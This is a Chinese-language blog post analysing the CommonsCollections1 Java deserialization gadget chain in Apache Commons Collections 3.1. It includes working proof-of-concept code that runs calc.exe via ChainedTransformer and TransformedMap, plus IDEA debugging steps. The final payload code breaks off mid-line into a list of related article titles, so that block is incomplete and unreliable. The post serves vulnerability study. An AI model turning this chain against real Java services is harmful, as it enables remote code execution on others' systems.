CommonCollections1反序列化利用链分析

Posted Tr0e

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CommonCollections1反序列化利用链分析相关的知识,希望对你有一定的参考价值。

前言

在前面的文章 JAVA代码审计之Shiro反序列化漏洞分析 中介绍了 Java 反序列化漏洞原理、并通过 IDEA 动态调试分析了 CVE-2016-4437 Apache Shiro 反序列化漏洞的程序存在可被用户控制的序列化数值的形成( RememberMe 字段使用的 Cookie = Base64(AES(Serializable(用户ID))))。

反序列化漏洞的成因在于应用程序把其他格式的数据(如字节流,XML 数据、JSON 格式数据)反序列化成 Java 类的过程中,由于存在输入可控的功能点,导致攻击者可以通过精心构造的恶意序列化 Payload 来执行恶意命令。但归根结底要触发反序列化漏洞,需要被反序列化的类中重写了 readObject 方法,且被重写的 readObject 方法被插入了恶意命令 或者 借助 Java 反射机制构造的反序列化利用链中被插入了恶意命令。直接重写 readObject 方法来触发漏洞的难度较大,但是常见的第三方 Java 库 Apache Commons Collections 就存在了可被我们利用的反序列化利用链。

本文的目的,就是借助 IDEA 来分析调试 Commons Collections 反序列化利用链,从而深入理解 CVE-2016-4437 Apache Shiro 反序列化漏洞的利用原理和触发过程。

CC1利用链

Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为 Apache 开源项目的重要组件,Commons Collections 被广泛应用于各种 Java 应用的开发,它已经成为 Java 中公认的集合处理标准。

本文将介绍的 CommonsCollections1,是 Java 反序列化漏洞的第一种 RCE 序列化利用链。

CC1环境部署

CommonsCollections1 反序列化利用链基于 Commons-collections-3.1 版本, 故在本地部署 CC1 环境的项目,需要以下条件:

  1. 安装并使用 Java JDK 1.7(在Java 8u71以后的版本中修改了触发的类,所以不支持此链的利用);
  2. 借助 Maven 项目的 pom.xml 配置文件,导入 Commons Collections 3.1 依赖包;

下面来开始创建下项目:

1、使用 IDEA 新建 Maven 项目(SDK 注意选择 Java7):
2、 修改 Maven 项目的 pom.xml 配置文件,自动导入 Commons Collections 3.1 依赖包:
其中新增的配置为:

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>
</dependencies>

此处注意下,修改 pom.xml 后右上角会有一个“加载 Maven 变更”的按钮(如果没有的话右键点击 pom.xml,之后点击Maven->Reload project即可),手动点击后即可自动导入 Commons Collections 3.1 依赖包:
以上就完成了 CommonCollections1 项目的基本配置部署。

Java命令执行

在利用 CC1 链触发反序列漏洞实现 RCE 之前,我们先来看看 Java 语言中实现命令执行的一个经典例子——调用本地计算器。

1、来看看最精简版的写法:

public class exec {
    public static void main(String[] args) throws Exception{
        Process calc = Runtime.getRuntime().exec("calc");
    }
}

运行程序即可执行命令打开本地计算器:
2、以上代码,如果写成 Java 反射的格式则如下:

public class exec {
    public static void main(String[] args) throws Exception{
        // c代表Runtime.class字节码文件,c代表Runtime类型
        Class c = Class.forName("java.lang.Runtime");
        // 通过getMethod对getRuntime这个方法进行实例化,getRuntime并不需要传参,所以传参类型为null,后面的invoke实现getRuntime
         Object obj = c.getMethod("getRuntime", null).invoke(c,null);
        // getMethod对exec这个方法进行实例化,然后invoke实现exec方法
        c.getMethod("exec",String.class).invoke(obj,"calc.exe");
    }
}

同样可执行命令打开本地计算器:
3、另外咱们再回顾下通过重写 readObject 函数来触发反序列化漏洞,实现以上执行运行本地计算器的命令的:

import java.io.*;

public class exec {
    public static void main(String[] args) throws Exception {
        // 初始化对象
        People people = new People();
        people.setName("Tr0e");
        people.setAge(18);
        // 序列化步骤:1、创建一个ObjectOutputStream输出流;2、调用ObjectOutputStream对象的writeObject输出可序列化对象
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("People.txt")));
        oos.writeObject(people);
        // 反序列化步骤:1、创建一个ObjectInputStream输入流;2、调用ObjectInputStream对象的readObject()得到序列化的对象
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("People.txt")));
        ois.readObject();
    }

    public static class People implements Serializable {
        public String name;
        public int age;
        public String getName() { return name; }
        public void setName(String name) { this.name = name; }
        public int getAge() { return age; }
        public void setAge(int age) { this.age = age; }
        //添加以下方法,重写People类的readObject()方法
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
            //执行默认的readObject()方法
            in.defaultReadObject();
            //执行打开计算器程序命令
            Runtime.getRuntime().exec("calc.exe");
        }
    }
}

代码运行效果:

相信上述案例可直观体现反序列漏洞的原理,但问题是一般开发人员不会把Runtime.getRuntime().exec这样的恶意命令执行代码写在反序列化方法 readObject 里,但是我们可以找一条“反射链”(即本文的主角 CommonCollections 反序列化利用链)来插入执行恶意命令代码。对于反序列化漏洞的挖掘的过程,实际上也就是结合 Java 的反射机制构造利用链(即readobject() -> getRuntime().exec)实现任意命令执行的过程。

CC1关键函数

为了理解 CommonCollections1 反序列化利用链,需要先理解 Common Collections 反序列化利用链工具库的几个关键接口和函数。

在 Commons Collections 中有一个 Transformer 接口,其中包含一个 transform 方法,通过实现此接口来达到类型转换的目的。

其中有众多类实现了此接口,CC1 中主要利用到了以下三个。

1、InvokerTransformer

其 transform 方法实现了通过反射来调用某方法:
2、ConstantTransformer

其 transform 方法将输入原封不动的返回:
3、 ChainedTransformer

其 transform 方法实现了对每个传入的 transformer 都调用其 transform 方法,并将结果作为下一次的输入传递进去:

利用链 POC1

除了上述三个实现了 Transformer 接口的类外,还有一个类需要特殊补充下——TransformedMap

Map 类是存储键值对的数据结构,Apache Commons Collection 中实现了类 TransformedMap,用来对 Map 进行某种变换。只要调用 TransformedMap 类中的decorate()函数,传入 key 和 value 的变换函数 Transformer,即可从任意 Map 对象生成相应的 TransformedMap。decorate()函数如下:
当 Map 中的任意项的 Key 或者 Value 被修改,相应的 Transformer 就会被调用。要想任意代码执行,我们可以首先构造一个 Map 和一个能够执行代码的 ChainedTransformer,以此生成一个 TransformedMap,然后修改 Map 中的任意项的 Key 或者 Value,或者想办法去触发 Map 中的 MapEntry 产生修改(例如setValue()函数),即可触发我们构造的 Transformer。

1、简单的利用上面的知识点,构造了一个简单的链,达到命令执行:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class exec {
    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("zeo", "666");
    }
}

2、代码运行效果如下:
来简单作下代码分析:

  1. 定义一个 Transformer 对象的数组,构造中间的小链子(包含 ConstantTransformer,InvokerTransformer);
  2. 基于反射调用 InvokerTransformer 构造命令执行代码;
  3. 命令执行造好了,还有一个触发 ChainedTransformer 的方法,就是 TransformedMap.decorate 方法;
  4. 实例化一个 Map对象,然后修饰绑定上 transformerChain 这个上面,每当有 Map 有新元素进来的时候,就会触发上面的链;
  5. 所以 Map 对象 put("zeo", "666") 一下就会触发命令执行成功弹出了计算器。

3、对上述 POC 进行简单的改造(主要是改末尾的 outerMap.put("zeo", "666");):

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);
        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
        onlyElement.setValue("foobar");
    }
}

4、也是可以触发漏洞的:
当上面的代码运行到 setValue() 时,就会触发 ChainedTransformer 中的一系列变换函数:

  1. 首先通过 ConstantTransformer 获得 Runtime 类;
  2. 进一步通过反射调用 getMethod 找到 invoke 函数;
  3. 最后再运行命令 calc.exe。

但是目前的构造还需要依赖于触发 Map 中某一项去调用 setValue(),我们需要想办法通过 readObject() 直接触发。

调试分析

下面利用 IDEA 来调试分析下上述代码触发反序列化漏洞的过程:

1、在 setValue 函数所在的行下断点调试:
2、F7 跟进,调用了 checkSetValue 方法:
3、F7 继续跟进,会跳到 TransformedMap 类的 checkSetValue 方法:
4、继续 F7 跟进,会来到 ChainedTransformer 的 transform 方法:
5、继续跟就会来到命令执行的 transform 方法中,最终导致 RCE:

利用链 POC2

上面的 POC 代码虽然成功触发反序列化漏洞了,但是其实是手动触发的,没什么用的。反序列化洞,你不得找到一个反序列化的点,来触发这个洞吗?所以关键目标是:找到⼀个类,它在反序列化的 readObject() 函数逻辑⾥有类似的写⼊操作。

我们观察到 Java 运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量 memberValues 是 Map 类型,如下所示:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }
    ...

更令人惊喜的是,AnnotationInvocationHandler的 readObject() 函数中对 memberValues 的每一项调用了 setValue() 函数,如下所示:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();    
    // Check to make sure that types have not evolved incompatibly
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
    }
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                // 此处触发一些列的Transformer
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

因此,我们只需要使用前面构造的 Map 来构造 AnnotationInvocationHandler 进行序列化,当触发 readObject() 反序列化的时候,就能实现命令执行。另外需要注意的是,想要在调用未包含的 package 中的构造函数,我们必须通过反射的方式,综合生成任意代码执行的 payload 的代码如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Ser {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                // 包装对象
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null,}),
                new InvokerTransformer("invoke", new Class[]{[Java反序列化]JDK7U21原生反序列化利用链分析

[Java反序列化]JDK7U21原生反序列化利用链分析

Fastjson 反序列化 Jndi 注入利用 JdbcRowSetImpl 链

Fastjson 反序列化 Jndi 注入利用 JdbcRowSetImpl 链

[Java反序列化]CommonsCollections3利用链学习

[Java反序列化]Java-CommonsBeanutils1利用链分析